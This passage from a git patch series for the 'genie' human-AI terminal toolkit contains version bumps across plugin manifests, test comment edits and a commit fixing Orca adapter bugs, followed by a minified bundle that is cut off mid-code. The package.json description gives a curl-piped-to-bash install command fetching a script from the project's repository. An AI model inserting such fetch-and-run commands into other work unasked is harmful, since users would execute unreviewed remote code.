SkillMirrorOptions = {}): void { assertShippedSkillInventory(options); const sourceRoot = canonicalDir(options); @@ -265,6 +288,7 @@ function main(): void { try { if (args[0] === '--write') syncPluginSkills(); else assertPluginSkillsInSync(); + assertKimiCommandsMatchSkills(); console.log(`sync-plugin-skills: OK (${SHIPPED_SKILL_NAMES.length} physical skills, byte-identical mirror)`); } catch (error) { console.error(`sync-plugin-skills: FAIL — ${error instanceof Error ? error.message : String(error)}`); diff --git a/src/genie-commands/__tests__/update.test.ts b/src/genie-commands/__tests__/update.test.ts index 2bc8159f2..4dafb6715 100644 --- a/src/genie-commands/__tests__/update.test.ts +++ b/src/genie-commands/__tests__/update.test.ts @@ -2935,8 +2935,8 @@ describe('runManualUpdateConvergence — hermes leg restored end-to-end (restore process.env.CODEX_HOME = join(isolatedHome, 'codex'); // Minimal real genie plugin source: a populated skills root + VERSION + - // an executable bin/genie (resolveGenieBinaryPath / resolveProductSkillsRoot - // both require real files, not injected targets, since this test exercises + // an executable bin/genie (resolveProductSkillsRoot and the delivery checks + // require real files, not injected targets, since this test exercises // the default env-resolved paths exactly like production `genie update`). mkdirSync(join(genieHome, 'plugins', 'genie', 'skills', 'alpha'), { recursive: true }); writeFileSync(join(genieHome, 'plugins', 'genie', 'skills', 'alpha', 'SKILL.md'), '# alpha\n'); diff --git a/src/lib/agent-sync.test.ts b/src/lib/agent-sync.test.ts index e5f005cae..18867d5b9 100644 --- a/src/lib/agent-sync.test.ts +++ b/src/lib/agent-sync.test.ts @@ -2345,7 +2345,7 @@ describe('hermes linking', () => { // --------------------------------------------------------------------------- describe('hermes config convergence', () => { - /** Materialize an executable genie binary so resolveGenieBinaryPath resolves it. */ + /** Materialize an executable genie binary under the canonical GENIE_HOME bin path. */ function presentGenieBinary(): string { const bin = join(fixture.genieHome, 'bin', 'genie'); writeFile(bin, '#!/usr/bin/env bun\n'); @@ -2442,7 +2442,7 @@ describe('hermes config convergence', () => { test('retiring MCP does not require a Genie binary while skills still converge', () => { present(fixture.hermesHome); - // No genie binary materialized → resolveGenieBinaryPath cannot resolve one. + // No genie binary materialized under GENIE_HOME/bin. const hermes = agentReport(run(), 'hermes'); expect(extraAction(hermes, 'mcp-config')).toBe('unchanged'); expect(hermes.failures).toBeUndefined(); diff --git a/src/lib/interactivity.ts b/src/lib/interactivity.ts index dff0e0be0..4917f437f 100644 --- a/src/lib/interactivity.ts +++ b/src/lib/interactivity.ts @@ -80,12 +80,12 @@ const WORKSPACE_EXEMPT = new Set([ // `task`/`board` it self-resolves the global genie.db and never reads the // v4 workspace.json, so gating it on the legacy workspace concept is wrong. 'omni', - // `mcp` is the stdio MCP server (read + write tools). It resolves the shared - // genie.db itself and fails closed when the file is absent, so the legacy - // workspace gate must not exit 2 before the JSON-RPC loop even starts. + // `mcp` is now a retirement stub: it writes the stable diagnostic to stderr and + // exits 1. It touches no workspace state, so the legacy workspace gate must not + // exit 2 and mask the retirement diagnostic callers are told to expect. 'mcp', // `ui-bridge` is the UI-owned stdio MCP bridge (reads + roster writes + push). - // Like `mcp` it self-resolves the shared genie.db and speaks JSON-RPC on stdio; + // It self-resolves the shared genie.db and speaks JSON-RPC on stdio; // the legacy workspace gate must not exit 2 before the handshake can happen. 'ui-bridge', ]); diff --git a/src/lib/v5/UI-BRIDGE.md b/src/lib/v5/UI-BRIDGE.md index 1ad49a021..036ae10b1 100644 --- a/src/lib/v5/UI-BRIDGE.md +++ b/src/lib/v5/UI-BRIDGE.md @@ -149,4 +149,4 @@ the honest daemon-free ceiling, and is ample for a kanban. - **No socket, ever.** The bridge holds zero listening sockets; it speaks only on stdio. Verify with `ss -tlnp` / `lsof` against the child pid — no rows. - **Zero-daemon.** Nothing survives the UI; the child is fork-and-die under the - the validated trust model retained from the retired MCP implementation. + validated trust model retained from the retired MCP implementation. From 83a97184f305dfaa6b312918b9869374ac65fee3 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" <github-actions[bot]@users.noreply.github.com> Date: Sun, 30 Aug 2026 01:10:17 +0000 Subject: [PATCH 29/45] chore(version): bump to 5.260830.3 [auto-version] --- .claude-plugin/marketplace.json | 2 +- package.json | 2 +- plugins/genie/.claude-plugin/plugin.json | 2 +- plugins/genie/.codex-plugin/plugin.json | 2 +- plugins/genie/.kimi-plugin/plugin.json | 2 +- plugins/genie/package.json | 2 +- plugins/hermes-genie/plugin.yaml | 2 +- plugins/pi-genie/package.json | 2 +- 8 files changed, 8 insertions(+), 8 deletions(-) diff --git a/.claude-plugin/marketplace.json b/.claude-plugin/marketplace.json index eebb7ae41..c47f700b5 100644 --- a/.claude-plugin/marketplace.json +++ b/.claude-plugin/marketplace.json @@ -10,7 +10,7 @@ "plugins": [ { "name": "genie", - "version": "5.260830.2", + "version": "5.260830.3", "source": "./plugins/genie", "description": "Human-AI partnership for Claude Code. Share a terminal, orchestrate workers, evolve together. Brainstorm ideas, wish them into plans, make with parallel agents, ship as one team. A coding genie that grows with your project." } diff --git a/package.json b/package.json index 67371fee0..24630b9f2 100644 --- a/package.json +++ b/package.json @@ -1,7 +1,7 @@ { "name": "@automagik/genie", - "version": "5.260830.2", + "version": "5.260830.3", "description": "Collaborative terminal toolkit for human + AI workflows. NOTE: npm distribution discontinued 2026-05-09 — install via `curl -fsSL https://raw.githubusercontent.com/automagik-dev/genie/main/install.sh | bash` (cosign + SLSA verified). See https://automagik.dev/genie/release-process", "license": "MIT", diff --git a/plugins/genie/.claude-plugin/plugin.json b/plugins/genie/.claude-plugin/plugin.json index d4d8bd240..72c2f4814 100644 --- a/plugins/genie/.claude-plugin/plugin.json +++ b/plugins/genie/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "genie", - "version": "5.260830.2", + "version": "5.260830.3", "description": "Human-AI partnership for Claude Code. Share a terminal, orchestrate workers, evolve together. Brainstorm ideas, turn them into wishes, execute with /work, validate with /review, and ship as one team.", "author": { "name": "Namastex Labs" diff --git a/plugins/genie/.codex-plugin/plugin.json b/plugins/genie/.codex-plugin/plugin.json index f50d9ffa7..adfeca602 100644 --- a/plugins/genie/.codex-plugin/plugin.json +++ b/plugins/genie/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "genie", - "version": "5.260830.2", + "version": "5.260830.3", "description": "Plan, execute, review, and ship software with Genie workflows in Codex.", "author": { "name": "Namastex Labs", diff --git a/plugins/genie/.kimi-plugin/plugin.json b/plugins/genie/.kimi-plugin/plugin.json index 0f9eafafa..e2d2d5976 100644 --- a/plugins/genie/.kimi-plugin/plugin.json +++ b/plugins/genie/.kimi-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "genie", - "version": "5.260830.2", + "version": "5.260830.3", "description": "Human-AI partnership for Kimi Code CLI. Share a terminal, orchestrate workers, evolve together. Brainstorm ideas, turn them into wishes, execute with /genie:work, validate with /genie:review, and ship as one team.", "author": { "name": "Namastex Labs", diff --git a/plugins/genie/package.json b/plugins/genie/package.json index d6bf20163..721df2a9e 100644 --- a/plugins/genie/package.json +++ b/plugins/genie/package.json @@ -1,6 +1,6 @@ { "name": "genie-plugin", - "version": "5.260830.2", + "version": "5.260830.3", "private": true, "description": "Runtime dependencies for genie bundled CLIs", "license": "MIT", diff --git a/plugins/hermes-genie/plugin.yaml b/plugins/hermes-genie/plugin.yaml index 40a444d6b..cc3a70b3b 100644 --- a/plugins/hermes-genie/plugin.yaml +++ b/plugins/hermes-genie/plugin.yaml @@ -1,5 +1,5 @@ name: genie -version: 5.260830.2 +version: 5.260830.3 description: "Native Hermes surface for Genie orchestration: read-only status, work-plan and review-plan tools, hooks, commands, and a thin cockpit skill." provides_tools: # Exactly three native read-only planning/status tools. diff --git a/plugins/pi-genie/package.json b/plugins/pi-genie/package.json index 7d6cc07cb..ef78df457 100644 --- a/plugins/pi-genie/package.json +++ b/plugins/pi-genie/package.json @@ -1,6 +1,6 @@ { "name": "genie-pi-plugin", - "version": "5.260830.2", + "version": "5.260830.3", "private": true, "description": "Pi extension manifest for the Genie pi plugin — the plugin payload is plugins/pi-genie/extension.ts", "license": "MIT", From c38fe7b66697466ccda3efe49110208011485e3c Mon Sep 17 00:00:00 2001 From: Felipe Rosa <felipe@namastex.ai> Date: Sat, 29 Aug 2026 22:15:12 -0300 Subject: [PATCH 30/45] fix(orca): adapter readback, wait bound, stream faults, version gate, and doctor resilience (#2829) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(orca): correct adapter readback, wait bound, and stream-fault handling Four defects in the Orca orchestration adapter, each reproduced before the fix. C1 — a status-only `task-update` never survived its readback. `result` is optional on the operation, but the readback demanded result equality, comparing `JSON.stringify(undefined)` (the value `undefined`) against the stored value: `null` on a fresh task, the prior JSON string on a task that already carried one. Every status-only update failed with `readback_mismatch` after the mutation had already committed. The result is now compared only when the mutation actually carried one; the mismatch check is unchanged when it did. H4 — `worker-start`, `check --wait`, and `ask` accept a `--timeout-ms` of up to 600_000 ms, but the child process was pinned to the 30s adapter default and SIGKILLed every long wait before Orca could answer, turning a supported wait into a `timeout` / `ambiguous_after_possible_commit`. The process bound now follows the requested wait plus a 5s grace, never shrinks below the adapter default, and is clamped at 605_000 ms so no caller can unbound the child. H5 — `run-current` legitimately answers `{ run: null }` when nothing is bound. The run-use readback dereferenced it and threw a raw `TypeError` out of `execute`, bypassing the adapter's typed error contract entirely. `recordOf` now collapses a non-object to an empty record (killing that class across every readback plan) and the run-use plan rejects an unbound answer explicitly, so it surfaces as the documented `readback_mismatch`. L4 — `child.stdout` / `child.stderr` had no `error` listener, so a stream fault became an unhandled `error` event: the process died and the promise never settled. Both now settle through the same ambiguous-transport-loss path as a post-spawn child `error`, reached through a new `spawnChild` seam that makes the post-spawn failure paths testable. M6 — `bounds timeout termination through the kill escalation path` asserted SIGKILL but read SIGTERM on bun 1.3.14. The child installed its SIGTERM handler in JS and the 20 ms timeout fired before the interpreter finished booting, so the child died of the plain SIGTERM and escalation never happened. `/bin/sh` sets the disposition to SIG_IGN before anything else runs and SIG_IGN survives `exec`, so the child is unkillable by SIGTERM from its first instruction; the timeout is 250 ms for margin. Verified 5/5 locally on bun 1.3.14. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_013gGxGgKskzyzr1HRUB6cV3 * fix(orca): treat a prerelease runtime as below its release version `versionParts` matched `(?:[-+].*)?` and discarded it, so `1.4.192-rc.1` parsed as `[1, 4, 192]`, compared equal to the released `1.4.192`, and satisfied `>=1.4.192`. The plugin then ran against a runtime whose orchestration contract is still in flux — the exact case the version gate exists to reject. Parse the prerelease identifiers instead and compare them per semver §11: a release outranks any prerelease of the same triple, numeric identifiers compare numerically and rank below alphanumeric ones, and a longer identifier list wins when every preceding field is equal. Build metadata is still discarded, since it never affects precedence. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_013gGxGgKskzyzr1HRUB6cV3 * fix(orca): report an unreadable plugin payload instead of throwing out of doctor `inspectOrcaPluginLifecycle` called `expectedOwnership()` unguarded, and that digests two real files. On a payload the caller cannot read — EACCES, a path that is no longer a regular file, a mid-update rename — the throw escaped the inspection and therefore escaped `genie doctor` entirely, killing the one command an operator runs to find out what is broken. Both doctor call sites (`checkDatabase` and `checkOrcaLifecycle`) inherited the failure. Catch it and return a new `unreadable` payload state carrying the underlying reason as recovery text. `checkOrcaLifecycle` already fails any payload that is not `owned-clean`, so doctor now renders `payload=unreadable` as a check line instead of aborting. Nothing here mutates. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_013gGxGgKskzyzr1HRUB6cV3 * chore(orca): regenerate the shipped plugin bundle from its TypeScript source `bun scripts/orca-bundle-parity.ts --write` after the adapter and runtime fixes in this branch. `bun run lint:orca-bundle` is green. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_013gGxGgKskzyzr1HRUB6cV3 --------- Co-authored-by: Claude Fable 5 <noreply@anthropic.com> --- plugins/genie/orca-entrypoint.min.js | 4 +- plugins/genie/orca-runtime.test.ts | 41 +++ plugins/genie/orca-runtime.ts | 44 +++- src/lib/orca-orchestration-adapter.test.ts | 233 +++++++++++++++++- src/lib/orca-orchestration-adapter.ts | 274 ++++++++++++++------- src/lib/orca-plugin-lifecycle.test.ts | 55 ++++- src/lib/orca-plugin-lifecycle.ts | 18 +- 7 files changed, 560 insertions(+), 109 deletions(-) diff --git a/plugins/genie/orca-entrypoint.min.js b/plugins/genie/orca-entrypoint.min.js index e05c84270..d55bbfcc2 100644 --- a/plugins/genie/orca-entrypoint.min.js +++ b/plugins/genie/orca-entrypoint.min.js @@ -1,2 +1,2 @@ -var Vt=Object.defineProperty;var Pt=(t,e)=>{for(var r in e)Vt(t,r,{get:e[r],enumerable:!0})};import{spawn as Wr}from"node:child_process";var u={};Pt(u,{BRAND:()=>cr,DIRTY:()=>te,EMPTY_PATH:()=>zt,INVALID:()=>g,NEVER:()=>Fr,OK:()=>A,ParseStatus:()=>R,Schema:()=>x,ZodAny:()=>Y,ZodArray:()=>W,ZodBigInt:()=>ne,ZodBoolean:()=>se,ZodBranded:()=>Ce,ZodCatch:()=>he,ZodDate:()=>ae,ZodDefault:()=>me,ZodDiscriminatedUnion:()=>Ve,ZodEffects:()=>Z,ZodEnum:()=>fe,ZodError:()=>E,ZodFirstPartyTypeKind:()=>_,ZodFunction:()=>$e,ZodIntersection:()=>de,ZodIssueCode:()=>l,ZodLazy:()=>ue,ZodLiteral:()=>le,ZodMap:()=>Oe,ZodNaN:()=>Se,ZodNativeEnum:()=>pe,ZodNever:()=>L,ZodNull:()=>oe,ZodNullable:()=>q,ZodNumber:()=>re,ZodObject:()=>j,ZodOptional:()=>P,ZodParsedType:()=>p,ZodPipeline:()=>Ee,ZodPromise:()=>K,ZodReadonly:()=>ge,ZodRecord:()=>Pe,ZodSchema:()=>x,ZodSet:()=>Te,ZodString:()=>G,ZodSymbol:()=>be,ZodTransformer:()=>Z,ZodTuple:()=>B,ZodType:()=>x,ZodUndefined:()=>ie,ZodUnion:()=>ce,ZodUnknown:()=>F,ZodVoid:()=>we,addIssueToContext:()=>f,any:()=>yr,array:()=>kr,bigint:()=>fr,boolean:()=>pt,coerce:()=>Jr,custom:()=>ut,date:()=>pr,datetimeRegex:()=>ct,defaultErrorMap:()=>U,discriminatedUnion:()=>Tr,effect:()=>$r,enum:()=>Mr,function:()=>Er,getErrorMap:()=>ve,getParsedType:()=>D,instanceof:()=>ur,intersection:()=>Sr,isAborted:()=>Ne,isAsync:()=>xe,isDirty:()=>Me,isValid:()=>H,late:()=>dr,lazy:()=>jr,literal:()=>Nr,makeIssue:()=>Ae,map:()=>Ar,nan:()=>lr,nativeEnum:()=>Vr,never:()=>vr,null:()=>gr,nullable:()=>Lr,number:()=>ft,object:()=>br,objectUtil:()=>Ue,oboolean:()=>Ur,onumber:()=>qr,optional:()=>Zr,ostring:()=>Br,pipeline:()=>Dr,preprocess:()=>zr,promise:()=>Pr,quotelessJson:()=>$t,record:()=>Rr,set:()=>Cr,setErrorMap:()=>Lt,strictObject:()=>wr,string:()=>lt,symbol:()=>mr,transformer:()=>$r,tuple:()=>Ir,undefined:()=>hr,union:()=>Or,unknown:()=>_r,util:()=>k,void:()=>xr});var k;(function(t){t.assertEqual=s=>{};function e(s){}t.assertIs=e;function r(s){throw new Error}t.assertNever=r,t.arrayToEnum=s=>{let a={};for(let i of s)a[i]=i;return a},t.getValidEnumValues=s=>{let a=t.objectKeys(s).filter(o=>typeof s[s[o]]!="number"),i={};for(let o of a)i[o]=s[o];return t.objectValues(i)},t.objectValues=s=>t.objectKeys(s).map(function(a){return s[a]}),t.objectKeys=typeof Object.keys=="function"?s=>Object.keys(s):s=>{let a=[];for(let i in s)Object.prototype.hasOwnProperty.call(s,i)&&a.push(i);return a},t.find=(s,a)=>{for(let i of s)if(a(i))return i},t.isInteger=typeof Number.isInteger=="function"?s=>Number.isInteger(s):s=>typeof s=="number"&&Number.isFinite(s)&&Math.floor(s)===s;function n(s,a=" | "){return s.map(i=>typeof i=="string"?`'${i}'`:i).join(a)}t.joinValues=n,t.jsonStringifyReplacer=(s,a)=>typeof a=="bigint"?a.toString():a})(k||(k={}));var Ue;(function(t){t.mergeShapes=(e,r)=>({...e,...r})})(Ue||(Ue={}));var p=k.arrayToEnum(["string","nan","number","integer","float","boolean","date","bigint","symbol","function","undefined","null","array","object","unknown","promise","void","never","map","set"]),D=t=>{switch(typeof t){case"undefined":return p.undefined;case"string":return p.string;case"number":return Number.isNaN(t)?p.nan:p.number;case"boolean":return p.boolean;case"function":return p.function;case"bigint":return p.bigint;case"symbol":return p.symbol;case"object":return Array.isArray(t)?p.array:t===null?p.null:t.then&&typeof t.then=="function"&&t.catch&&typeof t.catch=="function"?p.promise:typeof Map<"u"&&t instanceof Map?p.map:typeof Set<"u"&&t instanceof Set?p.set:typeof Date<"u"&&t instanceof Date?p.date:p.object;default:return p.unknown}};var l=k.arrayToEnum(["invalid_type","invalid_literal","custom","invalid_union","invalid_union_discriminator","invalid_enum_value","unrecognized_keys","invalid_arguments","invalid_return_type","invalid_date","invalid_string","too_small","too_big","invalid_intersection_types","not_multiple_of","not_finite"]),$t=t=>JSON.stringify(t,null,2).replace(/"([^"]+)":/g,"$1:"),E=class t extends Error{get errors(){return this.issues}constructor(e){super(),this.issues=[],this.addIssue=n=>{this.issues=[...this.issues,n]},this.addIssues=(n=[])=>{this.issues=[...this.issues,...n]};let r=new.target.prototype;Object.setPrototypeOf?Object.setPrototypeOf(this,r):this.__proto__=r,this.name="ZodError",this.issues=e}format(e){let r=e||function(a){return a.message},n={_errors:[]},s=a=>{for(let i of a.issues)if(i.code==="invalid_union")i.unionErrors.map(s);else if(i.code==="invalid_return_type")s(i.returnTypeError);else if(i.code==="invalid_arguments")s(i.argumentsError);else if(i.path.length===0)n._errors.push(r(i));else{let o=n,c=0;for(;c<i.path.length;){let d=i.path[c];c===i.path.length-1?(o[d]=o[d]||{_errors:[]},o[d]._errors.push(r(i))):o[d]=o[d]||{_errors:[]},o=o[d],c++}}};return s(this),n}static assert(e){if(!(e instanceof t))throw new Error(`Not a ZodError: ${e}`)}toString(){return this.message}get message(){return JSON.stringify(this.issues,k.jsonStringifyReplacer,2)}get isEmpty(){return this.issues.length===0}flatten(e=r=>r.message){let r={},n=[];for(let s of this.issues)if(s.path.length>0){let a=s.path[0];r[a]=r[a]||[],r[a].push(e(s))}else n.push(e(s));return{formErrors:n,fieldErrors:r}}get formErrors(){return this.flatten()}};E.create=t=>new E(t);var Zt=(t,e)=>{let r;switch(t.code){case l.invalid_type:t.received===p.undefined?r="Required":r=`Expected ${t.expected}, received ${t.received}`;break;case l.invalid_literal:r=`Invalid literal value, expected ${JSON.stringify(t.expected,k.jsonStringifyReplacer)}`;break;case l.unrecognized_keys:r=`Unrecognized key(s) in object: ${k.joinValues(t.keys,", ")}`;break;case l.invalid_union:r="Invalid input";break;case l.invalid_union_discriminator:r=`Invalid discriminator value. Expected ${k.joinValues(t.options)}`;break;case l.invalid_enum_value:r=`Invalid enum value. Expected ${k.joinValues(t.options)}, received '${t.received}'`;break;case l.invalid_arguments:r="Invalid function arguments";break;case l.invalid_return_type:r="Invalid function return type";break;case l.invalid_date:r="Invalid date";break;case l.invalid_string:typeof t.validation=="object"?"includes"in t.validation?(r=`Invalid input: must include "${t.validation.includes}"`,typeof t.validation.position=="number"&&(r=`${r} at one or more positions greater than or equal to ${t.validation.position}`)):"startsWith"in t.validation?r=`Invalid input: must start with "${t.validation.startsWith}"`:"endsWith"in t.validation?r=`Invalid input: must end with "${t.validation.endsWith}"`:k.assertNever(t.validation):t.validation!=="regex"?r=`Invalid ${t.validation}`:r="Invalid";break;case l.too_small:t.type==="array"?r=`Array must contain ${t.exact?"exactly":t.inclusive?"at least":"more than"} ${t.minimum} element(s)`:t.type==="string"?r=`String must contain ${t.exact?"exactly":t.inclusive?"at least":"over"} ${t.minimum} character(s)`:t.type==="number"?r=`Number must be ${t.exact?"exactly equal to ":t.inclusive?"greater than or equal to ":"greater than "}${t.minimum}`:t.type==="bigint"?r=`Number must be ${t.exact?"exactly equal to ":t.inclusive?"greater than or equal to ":"greater than "}${t.minimum}`:t.type==="date"?r=`Date must be ${t.exact?"exactly equal to ":t.inclusive?"greater than or equal to ":"greater than "}${new Date(Number(t.minimum))}`:r="Invalid input";break;case l.too_big:t.type==="array"?r=`Array must contain ${t.exact?"exactly":t.inclusive?"at most":"less than"} ${t.maximum} element(s)`:t.type==="string"?r=`String must contain ${t.exact?"exactly":t.inclusive?"at most":"under"} ${t.maximum} character(s)`:t.type==="number"?r=`Number must be ${t.exact?"exactly":t.inclusive?"less than or equal to":"less than"} ${t.maximum}`:t.type==="bigint"?r=`BigInt must be ${t.exact?"exactly":t.inclusive?"less than or equal to":"less than"} ${t.maximum}`:t.type==="date"?r=`Date must be ${t.exact?"exactly":t.inclusive?"smaller than or equal to":"smaller than"} ${new Date(Number(t.maximum))}`:r="Invalid input";break;case l.custom:r="Invalid input";break;case l.invalid_intersection_types:r="Intersection results could not be merged";break;case l.not_multiple_of:r=`Number must be a multiple of ${t.multipleOf}`;break;case l.not_finite:r="Number must be finite";break;default:r=e.defaultError,k.assertNever(t)}return{message:r}},U=Zt;var nt=U;function Lt(t){nt=t}function ve(){return nt}var Ae=t=>{let{data:e,path:r,errorMaps:n,issueData:s}=t,a=[...r,...s.path||[]],i={...s,path:a};if(s.message!==void 0)return{...s,path:a,message:s.message};let o="",c=n.filter(d=>!!d).slice().reverse();for(let d of c)o=d(i,{data:e,defaultError:o}).message;return{...s,path:a,message:o}},zt=[];function f(t,e){let r=ve(),n=Ae({issueData:e,data:t.data,path:t.path,errorMaps:[t.common.contextualErrorMap,t.schemaErrorMap,r,r===U?void 0:U].filter(s=>!!s)});t.common.issues.push(n)}var R=class t{constructor(){this.value="valid"}dirty(){this.value==="valid"&&(this.value="dirty")}abort(){this.value!=="aborted"&&(this.value="aborted")}static mergeArray(e,r){let n=[];for(let s of r){if(s.status==="aborted")return g;s.status==="dirty"&&e.dirty(),n.push(s.value)}return{status:e.value,value:n}}static async mergeObjectAsync(e,r){let n=[];for(let s of r){let a=await s.key,i=await s.value;n.push({key:a,value:i})}return t.mergeObjectSync(e,n)}static mergeObjectSync(e,r){let n={};for(let s of r){let{key:a,value:i}=s;if(a.status==="aborted"||i.status==="aborted")return g;a.status==="dirty"&&e.dirty(),i.status==="dirty"&&e.dirty(),a.value!=="__proto__"&&(typeof i.value<"u"||s.alwaysSet)&&(n[a.value]=i.value)}return{status:e.value,value:n}}},g=Object.freeze({status:"aborted"}),te=t=>({status:"dirty",value:t}),A=t=>({status:"valid",value:t}),Ne=t=>t.status==="aborted",Me=t=>t.status==="dirty",H=t=>t.status==="valid",xe=t=>typeof Promise<"u"&&t instanceof Promise;var h;(function(t){t.errToObj=e=>typeof e=="string"?{message:e}:e||{},t.toString=e=>typeof e=="string"?e:e?.message})(h||(h={}));var $=class{constructor(e,r,n,s){this._cachedPath=[],this.parent=e,this.data=r,this._path=n,this._key=s}get path(){return this._cachedPath.length||(Array.isArray(this._key)?this._cachedPath.push(...this._path,...this._key):this._cachedPath.push(...this._path,this._key)),this._cachedPath}},st=(t,e)=>{if(H(e))return{success:!0,data:e.value};if(!t.common.issues.length)throw new Error("Validation failed but no issues detected.");return{success:!1,get error(){if(this._error)return this._error;let r=new E(t.common.issues);return this._error=r,this._error}}};function v(t){if(!t)return{};let{errorMap:e,invalid_type_error:r,required_error:n,description:s}=t;if(e&&(r||n))throw new Error(`Can't use "invalid_type_error" or "required_error" in conjunction with custom error map.`);return e?{errorMap:e,description:s}:{errorMap:(i,o)=>{let{message:c}=t;return i.code==="invalid_enum_value"?{message:c??o.defaultError}:typeof o.data>"u"?{message:c??n??o.defaultError}:i.code!=="invalid_type"?{message:o.defaultError}:{message:c??r??o.defaultError}},description:s}}var x=class{get description(){return this._def.description}_getType(e){return D(e.data)}_getOrReturnCtx(e,r){return r||{common:e.parent.common,data:e.data,parsedType:D(e.data),schemaErrorMap:this._def.errorMap,path:e.path,parent:e.parent}}_processInputParams(e){return{status:new R,ctx:{common:e.parent.common,data:e.data,parsedType:D(e.data),schemaErrorMap:this._def.errorMap,path:e.path,parent:e.parent}}}_parseSync(e){let r=this._parse(e);if(xe(r))throw new Error("Synchronous parse encountered promise.");return r}_parseAsync(e){let r=this._parse(e);return Promise.resolve(r)}parse(e,r){let n=this.safeParse(e,r);if(n.success)return n.data;throw n.error}safeParse(e,r){let n={common:{issues:[],async:r?.async??!1,contextualErrorMap:r?.errorMap},path:r?.path||[],schemaErrorMap:this._def.errorMap,parent:null,data:e,parsedType:D(e)},s=this._parseSync({data:e,path:n.path,parent:n});return st(n,s)}"~validate"(e){let r={common:{issues:[],async:!!this["~standard"].async},path:[],schemaErrorMap:this._def.errorMap,parent:null,data:e,parsedType:D(e)};if(!this["~standard"].async)try{let n=this._parseSync({data:e,path:[],parent:r});return H(n)?{value:n.value}:{issues:r.common.issues}}catch(n){n?.message?.toLowerCase()?.includes("encountered")&&(this["~standard"].async=!0),r.common={issues:[],async:!0}}return this._parseAsync({data:e,path:[],parent:r}).then(n=>H(n)?{value:n.value}:{issues:r.common.issues})}async parseAsync(e,r){let n=await this.safeParseAsync(e,r);if(n.success)return n.data;throw n.error}async safeParseAsync(e,r){let n={common:{issues:[],contextualErrorMap:r?.errorMap,async:!0},path:r?.path||[],schemaErrorMap:this._def.errorMap,parent:null,data:e,parsedType:D(e)},s=this._parse({data:e,path:n.path,parent:n}),a=await(xe(s)?s:Promise.resolve(s));return st(n,a)}refine(e,r){let n=s=>typeof r=="string"||typeof r>"u"?{message:r}:typeof r=="function"?r(s):r;return this._refinement((s,a)=>{let i=e(s),o=()=>a.addIssue({code:l.custom,...n(s)});return typeof Promise<"u"&&i instanceof Promise?i.then(c=>c?!0:(o(),!1)):i?!0:(o(),!1)})}refinement(e,r){return this._refinement((n,s)=>e(n)?!0:(s.addIssue(typeof r=="function"?r(n,s):r),!1))}_refinement(e){return new Z({schema:this,typeName:_.ZodEffects,effect:{type:"refinement",refinement:e}})}superRefine(e){return this._refinement(e)}constructor(e){this.spa=this.safeParseAsync,this._def=e,this.parse=this.parse.bind(this),this.safeParse=this.safeParse.bind(this),this.parseAsync=this.parseAsync.bind(this),this.safeParseAsync=this.safeParseAsync.bind(this),this.spa=this.spa.bind(this),this.refine=this.refine.bind(this),this.refinement=this.refinement.bind(this),this.superRefine=this.superRefine.bind(this),this.optional=this.optional.bind(this),this.nullable=this.nullable.bind(this),this.nullish=this.nullish.bind(this),this.array=this.array.bind(this),this.promise=this.promise.bind(this),this.or=this.or.bind(this),this.and=this.and.bind(this),this.transform=this.transform.bind(this),this.brand=this.brand.bind(this),this.default=this.default.bind(this),this.catch=this.catch.bind(this),this.describe=this.describe.bind(this),this.pipe=this.pipe.bind(this),this.readonly=this.readonly.bind(this),this.isNullable=this.isNullable.bind(this),this.isOptional=this.isOptional.bind(this),this["~standard"]={version:1,vendor:"zod",validate:r=>this["~validate"](r)}}optional(){return P.create(this,this._def)}nullable(){return q.create(this,this._def)}nullish(){return this.nullable().optional()}array(){return W.create(this)}promise(){return K.create(this,this._def)}or(e){return ce.create([this,e],this._def)}and(e){return de.create(this,e,this._def)}transform(e){return new Z({...v(this._def),schema:this,typeName:_.ZodEffects,effect:{type:"transform",transform:e}})}default(e){let r=typeof e=="function"?e:()=>e;return new me({...v(this._def),innerType:this,defaultValue:r,typeName:_.ZodDefault})}brand(){return new Ce({typeName:_.ZodBranded,type:this,...v(this._def)})}catch(e){let r=typeof e=="function"?e:()=>e;return new he({...v(this._def),innerType:this,catchValue:r,typeName:_.ZodCatch})}describe(e){let r=this.constructor;return new r({...this._def,description:e})}pipe(e){return Ee.create(this,e)}readonly(){return ge.create(this)}isOptional(){return this.safeParse(void 0).success}isNullable(){return 